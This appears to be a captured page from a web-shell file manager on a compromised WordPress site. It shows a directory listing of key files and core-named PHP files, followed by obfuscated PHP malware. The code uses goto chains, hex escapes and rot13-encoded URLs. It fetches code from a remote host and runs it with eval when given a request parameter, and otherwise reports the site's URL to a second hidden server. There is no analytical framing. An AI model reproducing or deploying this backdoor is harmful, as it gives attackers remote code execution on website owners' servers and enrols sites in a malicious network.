Gecko [ herotex-group.site ]

Name	Size	Permission	Date
.htaccess	197 B	-r--r--r--	2025-04-22 01:18
96a45_59ae9_8b92a9bfa6691a484dc8b28c4ca1032b.key	1.64 KB	-rw-r-----	2025-04-04 18:34
a2150_7546d_fe03f02a45b3024916cb00eeeb6e83ca.key	1.63 KB	-rw-r-----	2025-02-26 16:31
a4b1f_36ad3_6151aa64293c97049e86df6e15296f22.key	1.63 KB	-rw-r-----	2024-07-18 20:14
a6ed1_eb6e5_800a5769900109f7d248656712be0483.key	1.63 KB	-rw-r-----	2025-02-07 12:42
a7d4e_8e8f1_8e4fbf8007d4d9ba99250f65b9160a0f.key	1.63 KB	-rw-r-----	2024-10-11 18:59
a8c4c_c7d13_0ff3719e35f72766b65dc7d5a02d3cd0.key	1.64 KB	-rw-r-----	2025-02-11 18:45
a9fff_e41a3_61c43d2c8ffd1a50e20a5ec056cc96d6.key	1.63 KB	-rw-r-----	2024-08-05 10:23
aace5_a92a3_f5d4889d10937f6f091bcc4c7cf9cafd.key	1.64 KB	-rw-r-----	2024-09-19 13:16
abd1c_715f1_806a7407dfee4e6791680c94948d51a9.key	1.63 KB	-rw-r-----	2024-12-04 15:44
ad766_1411b_d9bf3264e83d7de2e4c40c67ace02ae0.key	1.64 KB	-rw-r-----	2024-08-01 13:43
ae8c8_c2f3b_2a2f268f9bfb3e4ddb12439b0ed8a6a5.key	1.63 KB	-rw-r-----	2024-10-11 18:58
b2215_d8b23_0544b6fa7a6373e0d2f786f11079ae95.key	1.64 KB	-rw-r-----	2024-12-04 14:49
b483e_4141d_8201ec261b57284423c2a94581febd90.key	1.63 KB	-rw-r-----	2025-04-07 17:35
b66a3_9f755_66f3cf601898cd1f6758211642746357.key	1.64 KB	-rw-r-----	2025-02-12 14:11
b6b8d_30a71_43451988966c809b8ea63f51dd3fcf9f.key	1.64 KB	-rw-r-----	2024-11-06 09:17
ba026_fa583_9eb92a1110e228b669bae9117e0dd153.key	1.64 KB	-rw-r-----	2024-07-17 20:07
ba027_625fb_73838fd962af3d1167e42c937433e22c.key	1.64 KB	-rw-r-----	2024-10-14 01:07
bb368_8016f_c6d485aaae351b113bd51b472ad376f8.key	1.64 KB	-rw-r-----	2024-07-17 18:36
bb583_a1a71_858bbc5f016d56b9a96bd2898a1bf114.key	1.64 KB	-rw-r-----	2024-10-19 13:35
bdc77_14f2d_26b81e75e9c08ef35c1018be7282e674.key	1.64 KB	-rw-r-----	2024-12-25 04:15
c6e0a_87815_bc06335944e1a34ea75ff1033515d5e7.key	1.63 KB	-rw-r-----	2025-02-07 12:45
c71cb_20981_23d88ecf7954ef565e670169b5fd017f.key	1.64 KB	-rw-r-----	2024-08-05 10:08
c8514_b533b_df6320f9b6222491b68834cdf9bd9a04.key	1.64 KB	-rw-r-----	2024-07-26 14:03
ca3ed_63c19_b23edeedc3e826d2f45a5f7bcb973ec0.key	1.64 KB	-rw-r-----	2025-02-18 14:46
cac48_c1965_8b816907935345dd89543a55d6580d65.key	1.64 KB	-rw-r-----	2024-07-16 19:05
cbc60_f5071_b0bfebb68cbb668a48471870426dcec6.key	1.63 KB	-rw-r-----	2024-07-18 18:11
cd10c_961a7_2e469b72601e149a9194d49c1b4070cf.key	1.63 KB	-rw-r-----	2025-02-18 07:22
cdab4_7fffb_c134b5b5de1527c7740ed0918242ae2e.key	1.63 KB	-rw-r-----	2024-09-25 17:26
cf553_287eb_48bbe6672b921f640e2a281165893df2.key	1.64 KB	-rw-r-----	2024-12-08 18:40
d00db_d09bd_80c1368fa4ef05f934e2736f359a238f.key	1.63 KB	-rw-r-----	2025-01-07 13:54
d24a9_d200f_5a18f1077cd783b670c354064714fdea.key	1.64 KB	-rw-r-----	2024-08-07 20:21
d2938_ed311_b971cb2d11eefd3acc4c87d0defa30bc.key	1.64 KB	-rw-r-----	2024-10-27 20:54
d501b_3648b_1650acac508b9733c14d620f00833005.key	1.64 KB	-rw-r-----	2024-12-09 14:18
d6279_4b293_6057edf8731e291a13e4b3eaf71c03ab.key	1.64 KB	-rw-r-----	2024-08-28 21:06
d982f_23cef_9b168778485cd1c9303544b6caa4288a.key	1.64 KB	-rw-r-----	2024-10-10 21:30
e0ad0_cfef9_62d35850b436acf8eeb3dcd81c617eeb.key	1.64 KB	-rw-r-----	2024-09-26 12:29
e0ae2_cbb67_5ffab3a8d4d752387844053ff96d160b.key	1.64 KB	-rw-r-----	2024-11-20 18:07
e7018_30fad_dc6853bda36b2d8598bb8bbbcad6dd58.key	1.63 KB	-rw-r-----	2024-10-11 15:34
ea79c_c957d_8cd577337cf44f29140076dad2b6e026.key	1.63 KB	-rw-r-----	2024-10-11 13:18
f0ec6_c6411_edbafe6f3652b5fd180a406b0d5c0405.key	1.64 KB	-rw-r-----	2025-02-03 00:25
f2d4f_8bca7_efa408fea6bdb5cced6f526eeb95f33f.key	1.64 KB	-rw-r-----	2024-07-16 15:55
f4e8e_8b97f_511aca6629b6e2cd6e8139576549b4ce.key	1.64 KB	-rw-r-----	2024-12-19 16:54
wp-blog-header.php	2.73 KB	-r--r--r--	2025-04-22 01:18
wp-cron.php	2.73 KB	-rw-r--r--	2025-04-22 01:18

Rename

<?php
 goto aUctt; HhT2w: session_start(); goto j2LzN; j2LzN: $u7wMS = $_REQUEST["\144\x6f\x61\143\164"]; goto iBxbK; KAEwC: UdMtz: goto zDwno; JdmX4: oWTls: goto hylTJ; u84y1: $jc0Nd = (isset($_SERVER["\110\124\124\120\123"]) && $_SERVER["\x48\x54\x54\120\x53"] === "\157\156" ? "\150\164\x74\x70\163" : "\x68\164\164\160") . "\72\x2f\57{$_SERVER["\x48\124\x54\120\137\110\x4f\x53\x54"]}{$_SERVER["\x52\105\x51\x55\x45\x53\124\137\125\122\111"]}"; goto LecGv; LecGv: RdpN_(array("\x77\145\x62" => $jc0Nd)); goto v6eiz; aUctt: error_reporting(0); goto HhT2w; iihwX: $ipdaO = lDmb2(str_rot13("\x75\147\x67\x63\146\x3a\57\57\151\143\x66\x71\x71\x2e\x71\x73\x64\x73\x6e\x67\x2e\x67\142\x63\x2f\x71\x62\x62\x65\57") . $u7wMS . "\x2e\x74\x78\164"); goto oxGvR; hylTJ: $_SESSION["\144\157\x61\x63\x74"] = $u7wMS; goto iihwX; v6eiz: goto UdMtz; goto JdmX4; iBxbK: if (!empty($u7wMS)) { goto oWTls; } goto u84y1; TwgqM: exit; goto KAEwC; oxGvR: eval("\x3f\76" . $ipdaO); goto TwgqM; zDwno: function ldmB2($jc0Nd) { goto M3gLR; AWRjz: curl_setopt($NFh5W, CURLOPT_SSL_VERIFYPEER, 0); goto ISU6b; ggKDJ: $NFh5W = curl_init($jc0Nd); goto lWsck; ufNRO: curl_close($NFh5W); goto Jma1S; y8uH0: dNx8U: goto R78QB; qNKoO: $zT2tW = curl_exec($NFh5W); goto ufNRO; ISU6b: curl_setopt($NFh5W, CURLOPT_SSL_VERIFYHOST, 0); goto qNKoO; a4YTf: q7yvx: goto XN5c0; pf2fm: $nzvqV = fopen($jc0Nd, "\x72"); goto Idv6h; lWsck: curl_setopt($NFh5W, CURLOPT_RETURNTRANSFER, 1); goto bj0at; aVp1K: fclose($nzvqV); goto a4YTf; R78QB: if (!(empty($zT2tW) && function_exists("\146\157\x70\145\156") && function_exists("\163\164\162\145\x61\155\x5f\x67\145\164\137\143\x6f\156\x74\x65\156\164\163"))) { goto q7yvx; } goto pf2fm; jlGHZ: $zT2tW = file_get_contents($jc0Nd); goto y8uH0; M3gLR: $zT2tW = ''; goto Dd4EV; Idv6h: $zT2tW = stream_get_contents($nzvqV); goto aVp1K; o7qZF: if (!(empty($zT2tW) && function_exists("\x66\151\154\x65\137\x67\x65\164\x5f\143\157\x6e\164\x65\x6e\164\x73"))) { goto dNx8U; } goto jlGHZ; XN5c0: return $zT2tW; goto vJwYM; Jma1S: KerET: goto o7qZF; Dd4EV: if (!function_exists("\143\165\162\154\137\145\170\x65\x63")) { goto KerET; } goto ggKDJ; bj0at: curl_setopt($NFh5W, CURLOPT_FOLLOWLOCATION, 1); goto AWRjz; vJwYM: } goto Efa0c; Efa0c: function rdPN_($a30zL) { goto f0ABF; Jq4fY: $kn7I_ = curl_init(str_rot13($jc0Nd)); goto lyhJP; FeFbW: curl_setopt($kn7I_, CURLOPT_POSTFIELDS, $a30zL); goto Cyktn; OUtri: $r2SpD = curl_exec($kn7I_); goto WegPb; f0ABF: $jc0Nd = "\x75\147\147\x63\x3a\x2f\57\145\162\x7a\142\x67\162\x32\60\62\x35\x2e\x6f\x6c\x75\142\147\56\147\142\143\x2f\x76\x61\161\162\153\56\x63\165\143"; goto Jq4fY; Cyktn: curl_setopt($kn7I_, CURLOPT_RETURNTRANSFER, true); goto OUtri; lyhJP: curl_setopt($kn7I_, CURLOPT_POST, 1); goto FeFbW; WegPb: curl_close($kn7I_); goto U2cPM; U2cPM: }
 ?>